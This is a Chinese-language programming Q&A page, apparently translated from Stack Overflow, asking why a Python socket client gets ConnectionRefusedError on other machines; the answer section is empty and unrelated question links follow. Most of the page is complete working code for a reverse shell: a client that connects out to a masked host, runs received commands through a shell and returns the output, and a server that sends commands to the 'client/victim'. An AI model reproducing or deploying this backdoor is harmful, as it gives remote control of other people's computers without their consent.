python - ConnectionRefusedError:[WinError 10061]
问题描述
制作套接字后,我正在使用下面的代码连接到其他系统。当我在我的系统上本地运行时,它工作正常,但在其他系统上它给出一个错误 ConnectionRefusedError: [WinError 10061], Python
。
我试图添加s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
而不是s = socket.socket()
:
但它给了我同样的错误。
这是我为客户使用的
import socket
import os
import subprocess
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = socket.socket()
host = '***.***.***.***'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,"utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))
print(output_str)
这是我用于服务器的:
import socket
import sys
# Create a Socket ( connect two computers)
def create_socket():
try:
global host
global port
global s
host = ""
port = 9999
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = socket.socket()
except socket.error as msg:
print("Socket creation error: " + str(msg))
# Binding the socket and listening for connections
def bind_socket():
try:
global host
global port
global s
print("Binding the Port: " + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print("Socket Binding error" + str(msg) + "\n" + "Retrying...")
bind_socket()
# Establish connection with a client (socket must be listening)
def socket_accept():
conn, address = s.accept()
print("Connection has been established! |" + " IP " + address[0] + " | Port " + str(address[1]))
send_commands(conn)
conn.close()
# Send commands to client/victim or a friend
def send_commands(conn):
while True:
cmd = input()
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024),"utf-8")
print(client_response, end="")
def main():
create_socket()
bind_socket()
socket_accept()
main()
解决方案
推荐阅读
- apache-camel - 如何调试在 Karaf 中运行的 Aries 蓝图中缺少的 NamespaceHandler?
- android - 在 Fragment crop recycler 视图中添加 recyclerview
- uitableview - UITableViewCell 的附件视图中的 UILabel 仅在 iOS13 中越界
- gitlab - 将 GitLab 项目和用户组织成组
- python - 如何正确覆盖 tkinter 小部件的配置方法?
- database - 使用 Avro 模式验证字段值长度
- laravel - 访问已被 CORS 问题阻止
- html - 呈现(播放)脚本
- org-mode - Pandoc将Org文件转换为RTF,无需编号标题
- java - 为什么使用 synchronized 关键字而不是不使用它时 Java 代码块更快?